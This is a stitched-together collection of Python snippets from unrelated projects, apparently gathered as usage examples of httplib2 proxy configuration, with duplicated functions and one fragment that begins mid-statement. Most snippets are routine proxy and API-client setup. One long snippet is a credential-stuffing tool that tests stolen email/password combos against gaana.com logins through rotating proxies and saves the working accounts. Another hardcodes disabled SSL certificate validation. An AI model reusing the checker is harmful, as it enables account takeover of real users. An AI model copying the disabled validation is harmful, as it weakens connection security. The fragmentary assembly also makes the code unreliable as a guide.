def build_http_connection(config, timeout=120, disable_ssl_validation=False):
"""
:config: dict like, proxy and account information are in the following
format {
"username": xx,
"password": yy,
"proxy_url": zz,
"proxy_port": aa,
"proxy_username": bb,
"proxy_password": cc,
"proxy_type": http,http_no_tunnel,sock4,sock5,
"proxy_rdns": 0 or 1,
}
:return: Http2.Http object
"""
proxy_type_to_code = {
"http": socks.PROXY_TYPE_HTTP,
"http_no_tunnel": socks.PROXY_TYPE_HTTP_NO_TUNNEL,
"socks4": socks.PROXY_TYPE_SOCKS4,
"socks5": socks.PROXY_TYPE_SOCKS5,
}
if config.get("proxy_type") in proxy_type_to_code:
proxy_type = proxy_type_to_code[config["proxy_type"]]
else:
proxy_type = socks.PROXY_TYPE_HTTP
rdns = scu.is_true(config.get("proxy_rdns"))
proxy_info = None
if config.get("proxy_url") and config.get("proxy_port"):
if config.get("proxy_username") and config.get("proxy_password"):
proxy_info = ProxyInfo(proxy_type=proxy_type,
proxy_host=config["proxy_url"],
proxy_port=int(config["proxy_port"]),
proxy_user=config["proxy_username"],
proxy_pass=config["proxy_password"],
proxy_rdns=rdns)
else:
proxy_info = ProxyInfo(proxy_type=proxy_type,
proxy_host=config["proxy_url"],
proxy_port=int(config["proxy_port"]),
proxy_rdns=rdns)
if proxy_info:
# Creating Http object from httplib2shim library which is a wrapper over httplib2 library. This code is added since
# the configuration of inputs failed when proxy is enabled on the instance.
http = httplib2shim.Http(
proxy_info=proxy_info,
timeout=timeout,
disable_ssl_certificate_validation=disable_ssl_validation)
else:
# Creating Http object from httplib2shim library which is a wrapper over httplib2 library. This code is added since
# the configuration of inputs failed when proxy is enabled on the instance.
http = httplib2shim.Http(
timeout=timeout,
disable_ssl_certificate_validation=disable_ssl_validation)
if config.get("username") and config.get("password"):
http.add_credentials(config["username"], config["password"])
return http
def build_http_connection(config, timeout=120):
"""
@config: dict like, proxy and account information are in the following
format {
"username": xx,
"password": yy,
"proxy_url": zz,
"proxy_port": aa,
"proxy_username": bb,
"proxy_password": cc,
}
@return: Http2.Http object
"""
proxy_info = None
if config.get("proxy_url") and config.get("proxy_port"):
if config.get("proxy_username") and config.get("proxy_password"):
proxy_info = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP,
proxy_host=config["proxy_url"],
proxy_port=config["proxy_port"],
proxy_user=config["proxy_username"],
proxy_pass=config["proxy_password"])
else:
proxy_info = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP,
proxy_host=config["proxy_url"],
proxy_port=config["proxy_port"])
http = Http(proxy_info=proxy_info,
timeout=timeout,
disable_ssl_certificate_validation=True)
if config.get("username") and config.get("password"):
http.add_credentials(config["username"], config["password"])
return http
def build_http_connection(config, timeout=120, disable_ssl_validation=False):
"""
:config: dict like, proxy and account information are in the following
format {
"username": xx,
"password": yy,
"proxy_url": zz,
"proxy_port": aa,
"proxy_username": bb,
"proxy_password": cc,
"proxy_type": http,http_no_tunnel,sock4,sock5,
"proxy_rdns": 0 or 1,
}
:return: Http2.Http object
"""
proxy_type_to_code = {
"http": socks.PROXY_TYPE_HTTP,
"http_no_tunnel": socks.PROXY_TYPE_HTTP_NO_TUNNEL,
"socks4": socks.PROXY_TYPE_SOCKS4,
"socks5": socks.PROXY_TYPE_SOCKS5,
}
if config.get("proxy_type") in proxy_type_to_code:
proxy_type = proxy_type_to_code[config["proxy_type"]]
else:
proxy_type = socks.PROXY_TYPE_HTTP
rdns = scu.is_true(config.get("proxy_rdns"))
proxy_info = None
if config.get("proxy_url") and config.get("proxy_port"):
if config.get("proxy_username") and config.get("proxy_password"):
proxy_info = ProxyInfo(
proxy_type=proxy_type,
proxy_host=config["proxy_url"],
proxy_port=int(config["proxy_port"]),
proxy_user=config["proxy_username"],
proxy_pass=config["proxy_password"],
proxy_rdns=rdns,
)
else:
proxy_info = ProxyInfo(
proxy_type=proxy_type,
proxy_host=config["proxy_url"],
proxy_port=int(config["proxy_port"]),
proxy_rdns=rdns,
)
if proxy_info:
http = Http(
proxy_info=proxy_info,
timeout=timeout,
disable_ssl_certificate_validation=disable_ssl_validation,
)
else:
http = Http(timeout=timeout,
disable_ssl_certificate_validation=disable_ssl_validation)
if config.get("username") and config.get("password"):
http.add_credentials(config["username"], config["password"])
return http
def _initHttpClient():
if conf.GOOGLE_PROXY:
proxy_str = conf.GOOGLE_PROXY
elif ConfigFileParser().GoogleProxy():
proxy_str = ConfigFileParser().GoogleProxy()
else:
proxy_str = None
if not proxy_str:
return Http()
msg = 'Proxy: %s' % proxy_str
outputscreen.info(msg)
proxy = proxy_str.strip().split(' ')
if len(proxy) != 3:
msg = 'SyntaxError in GoogleProxy string, Please check your args or config file.'
sys.exit(outputscreen.error(msg))
if proxy[0].lower() == 'http':
type = PROXY_TYPE.HTTP
elif proxy[0].lower() == 'sock5':
type = PROXY_TYPE.SOCKS5
elif proxy[0].lower() == 'sock4':
type = PROXY_TYPE.SOCKS4
else:
msg = 'Invalid proxy-type in GoogleProxy string, Please check your args or config file.'
sys.exit(outputscreen.error(msg))
try:
port = int(proxy[2])
except ValueError:
msg = 'Invalid port in GoogleProxy string, Please check your args or config file.'
sys.exit(outputscreen.error(msg))
else:
http_client = Http(proxy_info=ProxyInfo(type, proxy[1], port))
return http_client
def __init__(self,
consumer_key,
consumer_secret="",
oauth_token="",
oauth_secret="",
host="https://api.tumblr.com",
proxy_url=None):
self.host = host
self.consumer = oauth.Consumer(key=consumer_key,
secret=consumer_secret)
self.token = oauth.Token(key=oauth_token, secret=oauth_secret)
self.proxy_url = proxy_url
if proxy_url:
print("Generating Proxy From proxy_url")
self.proxy_info = httplib2.proxy_info_from_url(
"https://" + proxy_url, 'http')
self.proxy_info.proxy_rdns = True
# uri = urlparse(proxy_url)
# self.proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP,uri.hostname,uri.port,proxy_rdns=True)
else:
print("Generating proxy from ENV")
proxy_url = os.environ.get('HTTPS_PROXY', None)
if proxy_url:
uri = urlparse(proxy_url)
self.proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP,
uri.hostname,
uri.port,
proxy_rdns=True)
else:
self.proxy_info = None
def reauth(self,proxy=None):
# Setting Proxy
if proxy:
proxy_part = parse.urlparse(proxy)
method = socks.PROXY_TYPE_SOCKS5
if proxy_part.scheme == 'socks5':
method = socks.PROXY_TYPE_SOCKS5
elif proxy_part.scheme == 'http':
method = socks.PROXY_TYPE_HTTP
elif proxy_part.scheme == 'socks4':
method = socks.PROXY_TYPE_SOCKS4
proxy_info=ProxyInfo(method, proxy_part.hostname, proxy_part.port,
proxy_user = proxy_part.username,
proxy_pass = proxy_part.password
)
httpclient = Http(proxy_info=proxy_info)
else:
httpclient = Http()
# Set up the Drive v3 API
SCOPES = ["https://www.googleapis.com/auth/drive"]
store = file.Storage('credentials.json')
credentials = store.get()
if not credentials or credentials.invalid:
try:
flow = client.flow_from_clientsecrets(GoogleAPI.CLIENT_SECRET, SCOPES)
credentials = tools.run_flow(flow, store,http=httpclient)
except ConnectionRefusedError:
print("{!s} Make sure you've saved your OAuth credentials as {!s}".format(
GoogleAPI.ERROR_OUTPUT, GoogleAPI.CLIENT_SECRET))
sys.exit(
"If you've already done that, then run uds.py without any arguments first.")
self.service = build('drive', 'v3', http=credentials.authorize(httpclient))
return self.service
def __google_search(self, sentence, **kwargs):
http = None
if self.__key_index < 0:
return None
elif self.__key_index > 0:
proxy = self.proxies[self.__key_index - 1]
http = Http(proxy_info=ProxyInfo(socks.PROXY_TYPE_HTTP,
proxy_host=proxy[0],
proxy_port=proxy[1]))
g = build(serviceName="customsearch", version="v1", http=http,
developerKey=self.__keys[self.__key_index])
q = ('"' + sentence + '"' if self.__quotes else sentence)
q += (" site:" + self.__site if self.__site and len(self.__site) > 0
else "")
try:
response = g.cse().list(q=q, cx=self.__engine_id,
**kwargs).execute()
except HttpError:
self.__key_index += 1
if self.__key_index >= len(self.__keys):
self.__key_index = -1
response = self.__google_search(sentence, **kwargs)
return response
def google_oauth2():
auth_code = request.args.get('code', None)
if auth_code:
credentials = flow.step2_exchange(code=auth_code, http=httplib2.Http(proxy_info=ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host='localhost', proxy_port=1080)))
http_auth = credentials.authorize(httplib2.Http(proxy_info=ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host='localhost', proxy_port=1080)))
drive_service = build('drive', 'v2', http_auth)
files = drive_service.files().list().execute()
return json.dumps(files)
def __init__(self, config, proxy_cfg=None):
self.config = config
if proxy_cfg:
proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP_NO_TUNNEL,
proxy_cfg['host'], proxy_cfg['port'])
else:
proxy_info = None
self.http = Http(proxy_info=proxy_info)
self.client = None
def getProxyDetails(self):
# Create confmanger object for the app with realm
cfm = conf_manager.ConfManager(self.getSessionKey(
), "TA-lansweeper-add-on-for-splunk", realm="__REST_CREDENTIAL__#TA-lansweeper-add-on-for-splunk#configs/conf-ta_lansweeper_add_on_for_splunk_settings")
# Get Conf object of apps settings
conf = cfm.get_conf('ta_lansweeper_add_on_for_splunk_settings')
# Get proxy stanza from the settings
proxy_config = conf.get("proxy", True)
if not proxy_config or not is_true(proxy_config.get('proxy_enabled')):
logger.info('Proxy is not enabled')
return None
url = proxy_config.get('proxy_url')
port = proxy_config.get('proxy_port')
if url or port:
if not url:
raise ValueError('Proxy "url" must not be empty')
if not self.is_valid_port(port):
raise ValueError(
'Proxy "port" must be in range [1,65535]: %s' % port
)
user = proxy_config.get('proxy_username')
password = proxy_config.get('proxy_password')
if not all((user, password)):
logger.info('Proxy has no credentials found')
user, password = None, None
proxy_type = proxy_config.get('proxy_type')
proxy_type = proxy_type.lower() if proxy_type else 'http'
if proxy_type in _PROXY_TYPE_MAP:
ptv = _PROXY_TYPE_MAP[proxy_type]
elif proxy_type in _PROXY_TYPE_MAP.values():
ptv = proxy_type
else:
ptv = socks.PROXY_TYPE_HTTP
logger.info('Proxy type not found, set to "HTTP"')
rdns = is_true(proxy_config.get('proxy_rdns'))
proxy_info = ProxyInfo(
proxy_host=url,
proxy_port=int(port),
proxy_type=ptv,
proxy_user=user,
proxy_pass=password,
proxy_rdns=rdns
)
# logger.info(proxy_info)
return proxy_info
def get_oauth_proxy(scheme):
proxy = get_proxy_config(scheme)
if proxy is None:
return None
proxy = urlparse.urlparse(proxy)
return ProxyInfo(
proxy_type=PROXY_TYPE_HTTP,
proxy_host=proxy.hostname,
proxy_port=proxy.port,
proxy_user=proxy.username or None,
proxy_pass=proxy.password or None,
)
def createHttp(proxyHost=None,
proxyPort=None,
proxyUser=None,
proxyPassword=None):
proxyInfo = None
if proxyHost:
proxyInfo = ProxyInfo(3,
proxyHost,
proxyPort if proxyPort else 80,
proxy_user=proxyUser,
proxy_pass=proxyPassword)
return Http(proxy_info=proxyInfo)
def __init__(self, consumer_key, consumer_secret, token_key, token_secret):
consumer = Consumer(key=consumer_key, secret=consumer_secret)
token = Token(key=token_key, secret=token_secret)
proxy_info = None
if hasattr(settings, 'PROXY_HOST') and \
hasattr(settings, 'PROXY_PORT'):
proxy_info = ProxyInfo(proxy_type=PROXY_TYPE_HTTP,
proxy_host=settings.PROXY_HOST,
proxy_port=settings.PROXY_PORT)
self.client = Client(consumer=consumer,
token=token,
proxy_info=proxy_info)
def get_data(domain):
global tor, tor_port, tor_host
if tor is True:
opener = Http(
proxy_info=ProxyInfo(PROXY_TYPE_SOCKS4, tor_host, tor_port, True))
else:
opener = Http()
data = urlencode({'key': '', 'remoteAddress': domain})
code, content = opener.request(
'http://domains.yougetsignal.com/domains.php', 'POST', data, {
'User-Agent':
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
})
del opener
return code, content
def __init__(self, config=None, proxy_config=None):
self.config = config
self.client = None
if proxy_config and 'host' in proxy_config and 'port' in proxy_config:
proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP_NO_TUNNEL,
proxy_config['host'], proxy_config['port'])
else:
proxy_info = None
self.http = Http(proxy_info=proxy_info)
self.var_dir = self.config['var_dir']
self.history_id_f = join(self.var_dir, 'gmail_last_history_id')
if exists(self.history_id_f):
with open(self.history_id_f) as fh:
logger.info('Loaded last gmail history id %d', int(fh.read()))
else:
# store an invalid id, which will get renewed on next push event
self.save_last_history_id('1')
def _prepare_proxy_info(self, proxy):
if not proxy or not proxy.enabled:
_logger.debug('Proxy is not enabled')
return None
username = proxy.username \
if 'username' in proxy and proxy.username else None
password = proxy.password \
if 'password' in proxy and proxy.password else None
proxy_type = self._PROXY_TYPE.get(proxy.type) or self._PROXY_TYPE['http']
return ProxyInfo(proxy_host=proxy.host,
proxy_port=int(proxy.port),
proxy_type=proxy_type,
proxy_user=username,
proxy_pass=password,
proxy_rdns=proxy.rdns)
def __init__(self, request):
self.key = IS24_CONSUMER_KEY
self.secret = IS24_COSUMER_SECRET
p = ProxyInfo(socks.PROXY_TYPE_HTTP, "nokes.nokia.com", 8080)
t = OauthToken.objects.get(username=request.user.username)
self.consumer = oauth.Consumer(self.key, self.secret)
self.token = oauth.Token(t.oauth_token, t.oauth_token_secret)
self.headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json'
}
if request.session.get('is24') == None:
self.init_is24_settings(request)
self.common_query_params = {
"realEstateType":
request.session['is24']['type'],
"price":
request.session['is24']['price_min'] + "-" +
request.session['is24']['price_max'],
"livingspace":
request.session['is24']['space_min'] + "-" +
request.session['is24']['space_max'],
"numberofrooms":
request.session['is24']['rooms_min'] + "-" +
request.session['is24']['rooms_max'],
"constructionyear":
request.session['is24']['year_min'] + "-" +
request.session['is24']['year_max'],
"pagesize":
200,
}
if self.common_query_params['realEstateType'] == 'apartmentbuy':
self.common_query_params['rented'] = request.session['is24'][
'rented']
#self.client = oauth.Client(consumer=self.consumer, token=self.token, proxy_info=p)
self.client = oauth.Client(consumer=self.consumer, token=self.token)
def __init__(self, config):
self.config = config
self.SCOPES = self.config["google_apps"]["api_scopes"]
self.proxy_info = None
if self.config["defaults"]["http_proxy"]["use_proxy"]:
self._PROXY_HOST = self.config["defaults"]["http_proxy"][
"proxy_url"]
self._PROXY_PORT = self.config["defaults"]["http_proxy"][
"proxy_port"]
self._PROXY_USER = self.config["defaults"]["http_proxy"][
"proxy_user"]
self._PROXY_PASS = self.config["defaults"]["http_proxy"][
"proxy_pass"]
self.proxy_info = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP,
proxy_host=self._PROXY_HOST,
proxy_port=self._PROXY_PORT,
proxy_user=self._PROXY_USER,
proxy_pass=self._PROXY_PASS)
self.credentials = self._get_credentials()
def get_proxy_info(proxy_config):
if not proxy_config or not is_true(proxy_config.get('proxy_enabled')):
_logger.info('Proxy is not enabled')
return None
url = proxy_config.get('proxy_url')
port = proxy_config.get('proxy_port')
if url or port:
if not url:
raise ValueError('Proxy "url" must not be empty')
if not util.is_valid_port(port):
raise ValueError('Proxy "port" must be in range [1,65535]: %s' %
port)
user = proxy_config.get('proxy_username')
password = proxy_config.get('proxy_password')
if not all((user, password)):
_logger.info('Proxy has no credentials found')
user, password = None, None
proxy_type = proxy_config.get('proxy_type')
proxy_type = proxy_type.lower() if proxy_type else 'http'
if proxy_type in _PROXY_TYPE_MAP:
ptv = _PROXY_TYPE_MAP[proxy_type]
elif proxy_type in list(_PROXY_TYPE_MAP.values()):
ptv = proxy_type
else:
ptv = socks.PROXY_TYPE_HTTP
_logger.info('Proxy type not found, set to "HTTP"')
rdns = is_true(proxy_config.get('proxy_rdns'))
proxy_info = ProxyInfo(proxy_host=url,
proxy_port=int(port),
proxy_type=ptv,
proxy_user=user,
proxy_pass=password,
proxy_rdns=rdns)
return proxy_info
def getlist(self, channel_id):
# 如下是代理设置
if config['useProxy']:
ipaddress = config['ipaddress'].split(':')[1][2:]
ipport = int(config['ipaddress'].split(':')[2])
proxy_info = ProxyInfo(socks.PROXY_TYPE_SOCKS5, ipaddress, ipport)
http = Http(timeout=300, proxy_info=proxy_info)
else:
http = Http(timeout=300)
# 构建youtube对象时增加http参数
youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=YOUTUBE_DEVELOPER_KEY, http=http)
result = youtube.search().list(
part='snippet,id',
channelId=channel_id,
order='date',
maxResults=20
).execute()
global channel_result
channel_result = result
def test_proxy_info(self):
""" Running this test assumes that a proxy is running at localhost:1080.
To start a proxy run:
ssh -N -D 0.0.0.0:1080 localhost
"""
from papyrus_ogcproxy import views
from papyrus_ogcproxy.views import ogcproxy
from pyramid.testing import DummyRequest
from httplib2 import ProxyInfo
import socks
views.allowed_hosts = ('www.google.com')
views.proxy_info = ProxyInfo(socks.SOCKS5, 'localhost', 1080)
request = DummyRequest(scheme='http',
params={'url': 'http://www.google.com'})
response = ogcproxy(request)
from pyramid.response import Response
self.assertTrue(isinstance(response, Response))
self.assertEqual(response.status_int, 200)
self.assertEqual(response.content_type, 'text/html')
def _initHttpClient():
if conf.google_proxy:
proxy_str = conf.google_proxy
elif ConfigFileParser().google_proxy():
proxy_str = ConfigFileParser().google_proxy()
else:
proxy_str = None
if not proxy_str:
return Http()
msg = 'Proxy: %s' % proxy_str
colorprint.white(msg)
proxy = proxy_str.strip().split(' ')
if len(proxy) != 3:
msg = '[-] SyntaxError in GoogleProxy string, Please check your args or config file.'
colorprint.red(msg)
sys.exit()
if proxy[0].lower() == 'http':
type = PROXY_TYPE.HTTP
elif proxy[0].lower() == 'sock5':
type = PROXY_TYPE.SOCKS5
elif proxy[0].lower() == 'sock4':
type = PROXY_TYPE.SOCKS4
else:
msg = '[-] Invalid proxy-type in GoogleProxy string, Please check your args or config file.'
colorprint.red(msg)
sys.exit()
try:
port = int(proxy[2])
except ValueError:
msg = '[-] Invalid port in GoogleProxy string, Please check your args or config file.'
colorprint.red(msg)
sys.exit()
else:
http_client = Http(proxy_info=ProxyInfo(type, proxy[1], port))
return http_client
def test_proxy_from_env_https_with_port(self):
with mock.patch.dict(os.environ, https_proxy='https://localhost:9000'):
proxy_info = proxy_info_from_environment_var('https_proxy')
expected = ProxyInfo(3, 'localhost', 9000)
self.assertEqual(str(expected), str(proxy_info))
def test_proxy_from_env_wrong_method_in_url(self):
os.environ['http_proxy'] = 'smtp://localhost:8000'
proxy_info = proxy_info_from_environment_var('http_proxy')
expected = ProxyInfo(3, 'smtp', 80) # wrong proxy info generated
self.assertEquals(str(expected), str(proxy_info))
def test_get_new_http_proxy_info(self):
os.environ['http_proxy'] = 'localhost'
http = get_new_http()
expected = ProxyInfo(3, 'localhost', 80)
self.assertEquals(str(http.proxy_info), str(expected))
except os_error:
out('file not deleted exiting...', 1)
outfile = argv[index + 1]
else:
outfile = argv[index + 1]
elif data == '-f' and len(argv) <= index + 1:
out('-f argument require a statement exiting...', 1)
if data == '-tor':
tor = True
elif data != '-tor' and 'tor' not in locals():
tor = False
if tor is True:
try:
code, returndata = Http(
proxy_info=ProxyInfo(PROXY_TYPE_SOCKS4, tor_host, tor_port, True)
).request('https://check.torproject.org/api/ip')
if code.status == 200:
tor_data = loads(returndata)
if tor_data['IsTor'] is False:
out('we are not using tor exiting...', 1)
else:
out('tor check successful...', 3)
else:
raise HttpLib2Error
except HttpLib2Error:
out('error in tor check routine exiting...', 1)
domain = str(argv[1])
try:
ip = resolve_host(domain)
def run(self):
while True:
proxy_num = select_proxy()
proxy = proxy_list[proxy_num]
try:
temp = 0
global start_count
if start_count >= len(combos):
break
http = Http(
proxy_info=ProxyInfo(proxy_host=str(proxy["proxy"]),
proxy_port=int(proxy["port"]),
proxy_type=proxy["type"],
proxy_user=proxy["user"],
proxy_pass=proxy["pass"]))
headers = {
"Content-Type":
"application/x-www-form-urlencoded",
"Origin":
"https://gaana.com",
"Referer":
"https://gaana.com/login",
"User-Agent":
"Mozilla/5.0 (Linux; U; Android 5.1.1; LGM-V300K Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Mobile Safari/537.36"
}
csrf_res, csrf_con = http.request(
"https://gaana.com/api/csrf-token",
method="POST",
body="set=csrf",
headers=headers)
csrf = ""
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://gaana.com",
"Referer": "https://gaana.com/login",
"User-Agent":
"Mozilla/5.0 (Linux; U; Android 5.1.1; LGM-V300K Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Mobile Safari/537.36",
"Cookie": csrf_res["set-cookie"] + "; __g_l=1"
}
for i in range(0, 5):
if start_count >= len(combos):
temp = 1
break
with lock:
k = start_count
start_count += 1
print(start_count)
combo = combos[k]
csrf = csrf or csrf_con.decode(
encoding="UTF-8").strip("\"")
#print(csrf)
body = "client_id=&csrf=" + csrf + "&email=" + combo[
"email"] + "&password="******"password"] + "&redirect_uri=&response_type=&scope=&source=&state=&urlChecker:false"
res, cont = http.request("https://gaana.com/api/login",
method="POST",
body=body,
headers=headers)
cont = json.loads(cont.decode(encoding="UTF-8"))
if "status" in cont.keys() and "csrf" in cont.keys():
if cont["status"] == "success":
if cont["token"]:
headers["Cookie"] = res["set-cookie"].split(",")[0].split(";")[0] + ";" + \
res["set-cookie"].split(",")[2].split(";")[0]
headers[
"Referer"] = "https://gaana.com/profile"
body = "profile=profile"
res, cont = http.request(
"https://gaana.com/api/user-profile",
method="POST",
body=body,
headers=headers)
cont = json.loads(
cont.decode(encoding="UTF-8"))
print(combo, "Expires On: ",
cont["subscriptionStatus"]["validupto"])
combo["expireOn"] = cont["subscriptionStatus"][
"validupto"]
verified.append(combo)
#with lock:
with open(str(k) + ".json", "w") as a:
#f.write("\n")
json.dump(combo, a)
else:
print(combo, " Free")
combo["expireOn"] = "Free"
verified.append(combo)
#with lock:
with open("Free-" + str(k) + ".json",
"w") as a:
#f.write("\n")
json.dump(combo, a)
break
else:
csrf = cont["csrf"]
else:
#with lock:
with open("error" + str(k) + ".txt", "w") as a:
a.write(
str(a) + str(proxy["user"]) + " " +
str(proxy["combo"]) + " Cont=" + str(cont))
#print(cont)
break
del http
except Exception as a:
#print(a)
inc_count(proxy_num)
continue
if temp == 1:
break
def test_proxy_from_env_https_without_port_without_method(self):
with mock.patch.dict(os.environ, https_proxy='localhost'):
proxy_info = proxy_info_from_environment_var('https_proxy')
expected = ProxyInfo(3, 'localhost', 443)
self.assertEqual(str(expected), str(proxy_info))
def test_proxy_from_env_wrong_method_in_url(self):
with mock.patch.dict(os.environ, http_proxy='smtp://localhost:8000'):
proxy_info = proxy_info_from_environment_var('http_proxy')
expected = ProxyInfo(3, 'smtp', 80) # wrong proxy info generated
self.assertEqual(str(expected), str(proxy_info))
def test_get_new_http_proxy_info(self):
with mock.patch.dict(os.environ, http_proxy='localhost'):
http = get_new_http()
expected = ProxyInfo(3, 'localhost', 80)
self.assertEqual(str(http.proxy_info), str(expected))